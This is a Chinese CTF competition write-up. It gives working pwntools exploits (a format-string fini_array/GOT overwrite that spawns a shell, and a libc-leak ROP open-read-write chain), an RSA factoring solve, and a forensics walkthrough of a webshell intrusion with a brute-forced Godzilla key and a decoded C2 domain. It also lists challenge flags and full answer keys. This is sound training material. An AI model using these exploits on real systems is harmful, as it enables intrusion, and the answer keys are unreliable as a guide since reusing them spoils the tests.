这里只记录我复现的和我写的题目,没记录出来的要不然是队友写的要不然是没复现的
初赛
PWN
Just_0nce
发现开启了Canary保护机制
然后再使用IDA反编译
发现是格式化字符串漏洞,而且是只能打一次的格式化字符串漏洞
那就直接打fini_array
,第一次先改printf
的got表为system
的plt,改fini_array
为main_adrr
,这样就可以执行两次main函数
fini_array
的地址在IDA中使用CTRL + S
,会跳出界面,跳出来后就可以看到了
第二次再传入字符串/bin/sh
这样就可以得到shell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *context(arch = 'amd64' ,log_level='debug' ) p = remote('node8.anna.nssctf.cn' ,21181 ) main_adrr = 0x401366 printf_got = 0x4033F0 system_plt = 0x4010C0 fini_array = 0x4031D8 dofunc = 0x40127E payload = fmtstr_payload(6 , {fini_array :dofunc , printf_got:system_plt}) p.sendafter(b'input:\n' ,payload) p.sendafter(b'input:\n' ,b"/bin/sh\x00" ) p.interactive()
复现flagNSSCTF{51461c79-beac-49e4-bfd0-fea257d1b20f}
Ez__PWN
然后再使用IDA反编译查看一下代码,发现开了沙箱,猜测是orw
一开始以为是ret2libc,看到沙箱后是orw,而且在进行orw前还要泄露libc的地址,以便获取open的地址
现在先查看一下沙箱,使用seccomp-tools
查看,果然只有open、read、write,但是open是允许openat,如果是允许open的话是要用Syscall的
先泄露libc,libc版本可以去libc-database 这里面找,再进行orw,进行orw的时候,要先写入open的got表在bss段才能进行调用,注意一些open传入open的三个参数,还有注意fd
文件说明符,0x0
是标准输入,0x1
是标准输出,0x2
是标准错误,所以open
打开的文件描述符是0x3
,open的第三个参数256
是表示文件被打开为只读和只写的组合(这里尝试过只读0x0调用,但是没成功)
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *context(log_level='debug' ) p = remote('node8.anna.nssctf.cn' ,20367 ) ret = 0x4006ce pop_rdi = 0x400a13 read_got = 0x601040 write_got = 0x601028 syscall_offset = 0x118940 pop_rbx_rbp_r12 = 0x400A0A bss_addr = 0x601060 +0x200 dofunc = 0x400921 mov_rdx = 0x4009F0 pop_rsi_r15 = 0x400a11 print_got = 0x601038 read_offset = 0x10e1e0 payload = b'A' *0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(0x400720 )+p64(ret)+p64(dofunc) p.sendlineafter(b'input name:' ,payload) read_addr = p.recvuntil(b'\x40' ) read_addr = p.recv() read_addr = p.recv()[:6 ] print ('read_addr ------>' , read_addr)read_addr = int .from_bytes(read_addr,byteorder='little' ) libc_addr = read_addr - read_offset open_addr = libc_addr + 0x10DF00 payload1 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(read_got) payload1+=p64(0x0 )+ p64(bss_addr)+p64(0x20 )+p64(mov_rdx) +p64(0xdeaddeff ) payload1+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload1+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendline(payload1) p.send(b'./flag\x00\x00' +p64(open_addr)) payload2 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(bss_addr+0x8 ) payload2+=p64(bss_addr)+ p64(0x00 )+p64(256 )+p64(mov_rdx) +p64(0xdeaddeff ) payload2+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload2+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload2) payload3 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(read_got) payload3+=p64(0x03 )+ p64(bss_addr+0x100 )+p64(0x100 )+p64(mov_rdx) +p64(0xdeaddeff ) payload3+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload3+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload3) payload4 = b'a' *0x10 + p64(pop_rbx_rbp_r12) + p64(0x0 ) + p64(0x1 ) +p64(write_got) payload4+=p64(0x01 )+ p64(bss_addr+0x100 )+p64(0x100 )+p64(mov_rdx) +p64(0xdeaddeff ) payload4+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff )+p64(0xdeaddeff ) payload4+=p64(0xdeaddeff )+p64(0xdeaddeff )+p64(dofunc) p.sendlineafter(b'input name:' ,payload4) p.interactive()
复现flagNSSCTF{5c4794ae-547e-47c2-842f-0441bd494802}
CRYPTO
ez_fermat
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.Util.number import *p = getPrime(1024 ) q = getPrime(813 ) n = p * q d = p e = inverse(d, (p-1 )*(q-1 )) flag = b'NSSCTF{test_flag}' m = bytes_to_long(flag) print (n)print ()print (e)print ()print (pow (m, e, n))''' 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983 3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225 2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796'''
推导过程如下:这边要注意一点,需要比较深刻的理解RSA加密和欧拉定理。
欧拉定理如下:
设 a , m ∈ N + ,且 g c d ( a , m ) = 1 ,则公式有 : a ϕ ( m ) ≡ 1 ( m o d m ) \begin{array}{l}
设a,m∈N_+,且gcd(a,m)=1,则公式有:
a^{\phi(m)}\equiv 1 (mod~m)
\end{array}
设 a , m ∈ N + , 且 g c d ( a , m ) = 1 , 则 公 式 有 : a ϕ ( m ) ≡ 1 ( m o d m )
若 a ≡ b ( m o d m ) , d ∣ m , d > 0 ,则 a ≡ b ( m o d d ) \begin{array}{l}
若a\equiv b(mod~m),d\mid m,d>0,则a\equiv b(mod ~d)
\end{array}
若 a ≡ b ( m o d m ) , d ∣ m , d > 0 , 则 a ≡ b ( m o d d )
若 a ≡ b ( m o d m ) , 则 ( a , m ) = ( b , m ) 因而若 d 能整除 m 及 a , b 二数之一 , 则 d 必能整除 a , b 中的另一个。 \begin{array}{l}
若a\equiv b(mod~m),则(a,m)=(b,m)因而若d能整除m及a,b二数之一,则d必能整除a,b中的另一个。
\end{array}
若 a ≡ b ( m o d m ) , 则 ( a , m ) = ( b , m ) 因 而 若 d 能 整 除 m 及 a , b 二 数 之 一 , 则 d 必 能 整 除 a , b 中 的 另 一 个 。
若 p 是质数,而整数 a 不是 p 的倍数,则有 a p − 1 ≡ 1 ( m o d p ) \begin{array}{l}
若p是质数,而整数a不是p的倍数,则有a^{p-1}\equiv1(mod~p)
\end{array}
若 p 是 质 数 , 而 整 数 a 不 是 p 的 倍 数 , 则 有 a p − 1 ≡ 1 ( m o d p )
c ≡ m e ( m o d n ) e p ≡ e d ≡ 1 ( m o d ϕ ( n ) ) 已知 c 、 e 、 n c\equiv m^e(mod~n)\\
ep \equiv ed \equiv 1(mod ~\phi(n))\\
已知c、e、n
c ≡ m e ( m o d n ) e p ≡ e d ≡ 1 ( m o d ϕ ( n ) ) 已 知 c 、 e 、 n
\begin{array}{l}
由RSA加密中c \equiv m^e(mod~n),如果想恢复m,这需要使用私钥d,而这里的私钥d即为p\\
因为ed在模\phi(n)的情况下是互为逆元的,即ep \equiv ed \equiv 1(mod ~\phi(n))\\
由欧拉定理可以得到gcd(2,n)=1,即有2^{\phi(n)}\equiv 1(mod~n)\\
即这边有2^{\phi(n)}\equiv2^0(mod~n),同时ep\equiv1(mod~\phi(n))\\
所以ep=k\phi(n)+1\\
所以2^{ep}\equiv2^{k\phi(n)+1}\equiv2^1(2^{\phi(n)})^k\equiv2^1(mod~n)\\
因为p\mid n,由上方的同余定理可得2^{ep}\equiv 2(mod~p)\\
将该式变形成为2^{e(p-1)}2^e\equiv2(mod ~p)\\
由费马小定理得2^{(p-1)*e}\equiv1^e(mod~p)\\
\begin{equation}
\left\{
\begin{aligned}
2^{(p-1)e}2^e\equiv2(mod ~p) \\
2^{(p-1)*e}\equiv1^e(mod~p)
\end{aligned}
\right.
\end{equation}
\\
联立俩个式子得到2^e\equiv 2(mod~p)\\
所以有2^e-2 \equiv0(mod~p)\\
即p\mid(2^e-2),同时p\mid n\\
所以gcd(n,2^e-2)=p\\所以p就可以求出来了,求出来之后就可以求m了\\
在写脚本的时候尝试求gcd(n,2^e-2),但是很大求不出来\\
这时就考虑使用模一个n,使其仍在是p的整数倍,但是结果更容易求
利用2^e-2=k*p\\
所以2^e-2\equiv k*p(mod~n)\\
利用第二个同余定理就可以得到(应该是有用上)p=gcd(2^e-2(mod~n),n)\\
即m = c^p(mod~n)
\end{array}
1 2 3 4 5 6 7 8 9 import libnumimport gmpy2n = 3904054379768621006670325403570678966655298185942026071119847032293541155818374237757771677885218395571231995625009566193044227004214661252741440763224075564545575267406326084344024197161667257443366163987563451174836819677982948383967049594961135059796888603091106117040559333549933923156522162926214187395074971581109581699786654634096916190024297067217856502521108656019066292650847674105723870976455422998577177791829507752873186832882421485628003948270492309102429874674621180956748281541598316433735992507502375267828628254040129556944239703219983 e = 3346908455447174070992347616941127803725226412626643481301959623252314393488983877743239835001359838967907152394787518896740138558902876270534420306764838402995141451795721684856954259250045263865518237097216558225597879130005447703355004165638668981119439658709484546611239237700677748062521167324245405513546072909746940831890185954341722008854937777778339786187857409646068034455661780649005707291091511164030224458109751999287771088477121459794784223018351072171477613383398898036040202088356029117418211176259340287391200019380649219787316637601225 c = 2297172673207318067644454311791059052521405524072070001463617943081937620680287073877519555417893924987805372814004437226029332185689205902364556330396100859963867726856821821201929153299863158902425114650689181400700850662495351899097507167512372167222348638943031627163322963150031484905075884684966357856735997039021272911282595603222713567742142545540368250995582560658624441813641267178033998653769097632742521154569310435572740012678651074392991522280691458449892215626597146075598152312643598829814235896873342805258450617148747956353285414172796 p = gmpy2.gcd(pow (2 ,e,n)-2 ,n) print (libnum.n2s(int (pow (c,p,n))))
决赛
溯源取证
题目背景
作为一名溯源专家,你被邀请到某公司进行溯源工作。该公司的一台服务器被黑客组织攻击,且由于更改了root密码导致无法进行登录,好在存储在另一台服务器上的流量包捕获到了这一切。现在,请你在有限的120分钟时间内,分析这个流量包,并且回溯出一个完整的攻击流程。
解题规则
本次溯源挑战部分共设置了10道问题
请注意,每道问题仅有3次回答的机会,请严格按照平台给出的答案范例作答
根据题目难度的不同,每道题目的分值划分为50-250分不等,满分1500分
若比赛结束后,在第1题与你解出的最后一题之间存在未解出的题目,则要扣除这些未解出的题目50%的分值。例如,你的队伍完成了1-5题和第8题,那么在第1题与最后一题之间你的队伍未完成6、7两题,则你的队伍的最终得分需要减去6、7两题分数和的50%
本次溯源挑战赛共占决赛分值的40%
题目描述:请问哪些ip对受害主机发起了攻击?提交的答案根据D段从小到大排序并用逗号隔开,例如192.168.1.1,192.168.1.2
题目描述:攻击者使用了nmap扫描器进行端口扫描,请问被害者主机开放了哪些端口?提交的答案从小到大排序并用逗号隔开,例如8000,8888,9999,10000
题目描述:攻击者使用一组账号和密码登录进了中间件的后台,请问这一组账号和密码是什么?提交的答案用斜杠隔开,前面是账号后面是密码,例如admin/admin123
题目描述:攻击者登录成功后上传了一个webshell,请问这个webshell的绝对路径是什么?
题目描述:你现在找到了这个webshell,你能获取到这个webshell的key是什么吗?注意,这个key是一个6位的纯数字
题目描述:除了这个webshell,攻击者还一起上传了一个恶意文件,你可以找到这个恶意文件的通信地址吗?注意,这个通信地址是一个域名
题目描述:攻击者随后连接了被害主机的数据库,你可以找到攻击者是用哪一组账号密码登录的吗?提交的答案用斜杠隔开,前面是账号后面是密码,例如admin/admin123
题目描述:攻击者在数据库中找到了一个重要的数据,这个重要数据是什么?请直接回答这个重要数据的内容
题目描述:攻击者为了进一步的操作,进行了一次反弹shell的操作,请问攻击者将shell反弹到了哪一个端口上?
题目描述:最后,攻击者修改了root用户的口令,请问修改后的root用户的口令是什么?
题目1
我们先来查看一下协议分级,看看有多少协议,发现还有数据库
的流量协议
先使用统计会话功能,查看这个流量包中的存在多少ip
,发现存在如下IP:
1 2 3 4 5 6 7 8 9 10 11 12 5.79.108.34 151.101,129.91 192.168.252.1 192.168.252.129 192.168.252.132 192.168.252.136 192.168.252.255 239.255.255.250 244.0.0.251
接下来我们通过具体的追踪流,来看看哪些ip的客户机对被害机发起了攻击,我们在追踪流的时候发现192.168.252.136
这个计算机的mysql
被动过,并且发过协议,可以确定该ip为被害机。
从而可以确定192.168.252.1
这个ip
是攻击者
1 2 3 4 5 6 7 8 9 10 11 5.79.108.34(无害) 151.101,129.91(无) 192.168.252.1(攻击) 192.168.252.129(发现获取了权限) 192.168.252.132(对被害机进行文件扫描) 192.168.252.136(被害) 192.168.252.255(广播) 239.255.255.250(无) 244.0.0.251(无)
1 192.168.252.129,192.168.252.132
题目2
我们就直接查看出现的端口,发现被害的ip开启了这些端口:
1 22、3306、8080、5353、38904、50196、50300、52783
但是这题问的应该是被攻击者扫到的端口,所以答案应该是:
题目3
这时我们先过滤,攻击者的ip
,确定登录的攻击者。我们发现这个攻击的ip
,这时我们就可以排除这个ip,流量包少,而且也没登录。
这时我们再查看这个ip
,发现这个ip很有可能进行中间件登录
导出之后我们追踪流,会发现,这边可能进行文件上传,在这之前可能会登录中间件
题目4
这个时候我们就可以在我们分组的流量包中进行分析,追踪流查看登录后的文件上传的,发现这个可能是一个马
而/t3st/index.jsp
是启动服务的相对路径,这时我们还要寻找信息,看看能不能得到绝对路径,之前我们得到了黑客登录了中间件,所以是往中间件这边的路径。
之前我们查看到另一个ip
有绝对路径
1 /usr/share/tomcat/webapp/t3st/index.jsp
题目5
根据题目5
这时我们就要提取webshell
,由于是jsp
文件后缀,我们就可以猜测是哥斯拉
这时我们再查看一下流量包
直接解压并打开index.jsp
,这个我们发现8a1e94c07e3fb7d5
是连接密码经过32位md5
值计算后得到的md5
值的前16
位
这时我们就需要爆破这个密文,根据提示,密码是6
位纯数字
1 2 3 4 5 6 7 8 9 10 11 import hashlibtarget = "8a1e94c07e3fb7d5" for i in range (1000000 ): candidate = f"{i:06} " hashed = hashlib.md5(candidate.encode()).hexdigest()[:16 ] if hashed == target: print (f"找到密码: {candidate} " ) break
题目6
翻了其他半天的流量没找到这题,之后看wp发现就在上一题的压缩包值,名为mal
的文件。
这个文件是linux下的二进制文件,所以我们要进行逆向分析
我们查看到sub_400EAB
这个函数就会发现有一个名为gethostbyname()
这个函数,这个函数就是Linux
网络编程中用于域名解析的函数
这个函数会传递一个指向域名字符串
的指针。
所以我们name
就存储着域名,接下来我们看上面的代码发现,v7
、name
之间有发生操作。我们发现v7
和name
有逐字节进行^0x39
并且得到sub_400B3E
这个函数是进行base64
解密,所以我们就可以得到VQlPCnRQUkwXVEtVDw0XWlZU
要先进行base64
解密后再与0x39
进行异或才能得到正确的域名
题目7
这时我们就要分析上传的文件
这时我们导出HTTP
对象就会发现有如下这些index.jsp
文件
我们导出index.jsp
文件,会发现这个index.jsp
中存储的是base64
编码
这时我们就会想到,是之前发送的index.jsp
中存在着java
的AES
加密代码将这个数据进行了加密。所以我们就将这些密文进行解密
1 2 3 4 5 6 7 8 9 10 11 12 from Crypto.Cipher import AESimport base64key = b"8a1e94c07e3fb7d5" encrypted_data = "" encrypted_bytes = base64.b64decode(encrypted_data) cipher = AES.new(key, AES.MODE_ECB)
在解密到这个文件的时候就会得到连接mysql
的密码
题目8
接下来我们就要分析mysql
的协议了,我们就直接导出mysql
协议流量包,单独分析
没学数据库,只能看wp
了,这边直接搜索select
字符串,就可以找到这个字符串了,注意一定要整个对话查询
,否则查询不出来
题目9
我们在题目1
中有分析得到192.168.252.129
获取了权限,所以反弹shell,反弹到了这个ip
然后就可以查找会话,查看端口
就可以发现8849
端口
题目10
base64
解密后就会发现,这个是一个加密后的密文
flag
1 2 3 4 5 6 7 8 9 10 1. 192.168.252.129,192.168.252.132 2. 22,3306,8080 3. tomcat/1qaz@WSX 4. /usr/local/tomcat/webapps/t3st/index.jsp 5. 810975 6. l0v3Miku.mrl64.com 7. root/n1cep4Ss 8. Th1s_1s_Imp0Rt4Nt_D4Ta 9. 8849 10. 101074@1274park
PWN
水果忍者(复现)
考的是httpd的题目,复现完单独写了个博客(处于加密状态),这里就不再写了
A Study in Scarlet
考的是CSTL的pwn,STL全称为(Standard Template Library,标准模板库),我还没学过C ,但是有点Java基础和C的基础可以试试
MISC
Algorithm(复现)
算法+pwntools的使用
pwntools会用,但是不会算法,用AI跑的算法会出错QAQ,Pwntools接收过程先不给出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from pwn import *context(log_level='debug' ) p = remote('node4.anna.nssctf.cn' ,28804 ) p.recvuntil(b'Mode:' ) p.sendline(b'1' ) def change2U (s ): N = len (s) k, n2 = 0 , 0 for i in range (3 , N): if (N - i) % 2 != 0 : continue k = (N + 2 - i) // 2 if k <= i: n2 = N + 2 - 2 * k break result = [] for idx in range (k - 1 ): result.append(s[idx] + '@' + str (n2 - 2 ) + '@' + s[N - idx - 1 ]) result.append(s[k - 1 :k - 1 + n2]) output = '|' .join(result) return output a = p.recvuntil(b'Your' )[:-5 ] output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' , output.encode('utf-8' )) for i in range (98 ): p.recvuntil(b'Right!\n' ) a = p.recvuntil(b'\n' )[:-1 ] print (a) output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' ,output.encode('utf-8' )) p.recvuntil(b'Right!\n' ) a = p.recvuntil(b'\n' )[:-1 ] print (a)output = change2U(a.decode('utf-8' )) p.sendlineafter(b'answer:>' ,output.encode('utf-8' )) a = p.recv() print (a)p.interactive()